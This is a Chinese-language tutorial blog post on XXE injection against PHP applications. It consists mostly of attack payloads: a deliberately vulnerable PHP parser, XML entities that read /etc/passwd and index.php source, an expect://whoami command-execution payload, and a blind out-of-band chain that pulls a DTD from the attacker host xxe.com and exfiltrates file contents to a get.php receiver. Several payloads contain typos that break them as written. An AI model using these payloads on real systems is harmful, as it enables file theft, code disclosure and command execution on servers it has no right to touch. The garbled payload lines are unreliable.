XXE外部实体注入漏洞——PHP _

admin 2023年12月12日17:43:43评论22 views字数 1908阅读6分21秒阅读模式

前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。

漏洞利用

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

测试代码

使用simplexml_load_string函数解析body

<?php

$data
= file_get_contents('php://input');

$xml
= simplexml_load_string($data);

echo $xml
->name;

?>

漏洞测试

漏洞测试方式1

有回显,直接读取文件 有过滤就自己看着办

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。

这里我们还可以利用xxe获取页面源码

(2)使用php协议

 

1

2

3

4

5

6

7

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE xxe[

<!ELEMENT name ANY>

<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>

<root>

<name>&xxe;</name>

</root>

 XXE外部实体注入漏洞——PHP _

返回的即为index.php的源码

执行系统命令

在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>


测试2

思路 无回显

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">

%remote;]>

将以下1.xml保存到WEB服务器下

1.xml

<!ENTITY % a SYSTEM "file:///etc/passwd">

<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

 XXE外部实体注入漏洞——PHP _

楼洞测试方式3

在主机上放一个接收文件的php(get.php)

<?php

file_put_contents(
'01.txt', $_GET['xxe_local']);

?>

1. xml内容:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">

%int;

%trick;

这个XML,他引用了外部实体etc
/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。

接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc
/passwd并进行编码后传给get.php,最后保存到主机上


 查看01.txt

一串base64 然后解码就是你要的东西

XXE外部实体注入漏洞——PHP _

 

原文始发于微信公众号(菜鸟小新):XXE外部实体注入漏洞——PHP _

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日17:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE外部实体注入漏洞——PHP _https://cn-sec.com/archives/2255986.html

发表评论

匿名网友 填写信息